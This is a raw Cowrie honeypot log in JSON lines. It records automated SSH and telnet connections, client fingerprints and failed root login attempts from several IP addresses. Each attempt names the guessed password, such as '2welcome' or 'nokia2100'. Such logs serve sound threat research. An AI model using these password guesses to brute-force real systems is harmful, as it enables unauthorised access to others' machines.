{"eventid":"cowrie.login.failed","username":"root","password":"1q2q3q4q5q","message":"login attempt [root/1q2q3q4q5q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:51.573273Z","src_ip":"87.251.79.125","session":"2d636a3eb8fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:52.646898Z","src_ip":"87.251.79.125","session":"2d636a3eb8fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":54204,"dst_ip":"10.17.0.5","dst_port":22,"session":"752144e4bf28","protocol":"ssh","message":"New connection: 192.169.243.246:54204 (10.17.0.5:22) [session: 752144e4bf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:55.665969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:55.671161Z","src_ip":"192.169.243.246","session":"752144e4bf28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:55.743701Z","src_ip":"192.169.243.246","session":"752144e4bf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2welcome","message":"login attempt [root/2welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:56.065992Z","src_ip":"192.169.243.246","session":"752144e4bf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:41:57.142645Z","src_ip":"192.169.243.246","session":"752144e4bf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48518,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd2702b9c904","protocol":"ssh","message":"New connection: 37.143.61.84:48518 (10.17.0.5:22) [session: cd2702b9c904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:05.982840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:05.991483Z","src_ip":"37.143.61.84","session":"cd2702b9c904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:06.292617Z","src_ip":"37.143.61.84","session":"cd2702b9c904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sayed123","message":"login attempt [root/sayed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:07.007088Z","src_ip":"37.143.61.84","session":"cd2702b9c904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:08.201324Z","src_ip":"37.143.61.84","session":"cd2702b9c904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":48516,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39db0f46b48","protocol":"ssh","message":"New connection: 43.156.136.152:48516 (10.17.0.5:22) [session: f39db0f46b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:24.651981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:24.657954Z","src_ip":"43.156.136.152","session":"f39db0f46b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:24.904417Z","src_ip":"43.156.136.152","session":"f39db0f46b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"compaqpresario","message":"login attempt [root/compaqpresario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:25.918009Z","src_ip":"43.156.136.152","session":"f39db0f46b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:27.168052Z","src_ip":"43.156.136.152","session":"f39db0f46b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3faff79d077f","protocol":"telnet","message":"New connection: 192.119.13.58:33028 (10.17.0.5:23) [session: 3faff79d077f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:27.971666Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60002,"dst_ip":"159.203.135.109","dst_port":22,"session":"939e1d0359af","protocol":"ssh","message":"New connection: 103.82.132.16:60002 (159.203.135.109:22) [session: 939e1d0359af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:31.170833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:31.180340Z","src_ip":"103.82.132.16","session":"939e1d0359af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:31.441203Z","src_ip":"103.82.132.16","session":"939e1d0359af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superstar","message":"login attempt [root/superstar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:32.221126Z","src_ip":"103.82.132.16","session":"939e1d0359af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:33.485029Z","src_ip":"103.82.132.16","session":"939e1d0359af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38070,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee30b484c461","protocol":"ssh","message":"New connection: 103.153.68.219:38070 (159.203.135.109:22) [session: ee30b484c461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:50.311004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:50.316397Z","src_ip":"103.153.68.219","session":"ee30b484c461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:50.569394Z","src_ip":"103.153.68.219","session":"ee30b484c461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"philips","message":"login attempt [root/philips] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:51.329025Z","src_ip":"103.153.68.219","session":"ee30b484c461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:52.584890Z","src_ip":"103.153.68.219","session":"ee30b484c461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5353ae7efd33","protocol":"ssh","message":"New connection: 103.27.238.116:52226 (159.203.135.109:22) [session: 5353ae7efd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:55.377547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:55.382226Z","src_ip":"103.27.238.116","session":"5353ae7efd33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:55.645937Z","src_ip":"103.27.238.116","session":"5353ae7efd33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n1frdz","message":"login attempt [root/n1frdz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:57.162316Z","src_ip":"103.27.238.116","session":"5353ae7efd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:42:58.427603Z","src_ip":"103.27.238.116","session":"5353ae7efd33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":34312,"dst_ip":"10.17.0.5","dst_port":22,"session":"3665bbdeb8df","protocol":"ssh","message":"New connection: 43.228.112.254:34312 (10.17.0.5:22) [session: 3665bbdeb8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:01.384926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:01.389997Z","src_ip":"43.228.112.254","session":"3665bbdeb8df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:01.606001Z","src_ip":"43.228.112.254","session":"3665bbdeb8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia2100","message":"login attempt [root/nokia2100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:02.499776Z","src_ip":"43.228.112.254","session":"3665bbdeb8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:03.719015Z","src_ip":"43.228.112.254","session":"3665bbdeb8df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":51006,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7cea072ff19","protocol":"ssh","message":"New connection: 192.169.243.246:51006 (10.17.0.5:22) [session: d7cea072ff19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.121801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.126657Z","src_ip":"192.169.243.246","session":"d7cea072ff19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.200796604156494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.172389Z","src_ip":"192.119.13.58","session":"3faff79d077f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.198662Z","src_ip":"192.169.243.246","session":"d7cea072ff19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeevan","message":"login attempt [root/jeevan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.516296Z","src_ip":"192.169.243.246","session":"d7cea072ff19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"c088041ce9e2","protocol":"ssh","message":"New connection: 103.77.175.15:54238 (10.17.0.5:22) [session: c088041ce9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.569067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.574034Z","src_ip":"103.77.175.15","session":"c088041ce9e2","protocol":"ssh"}
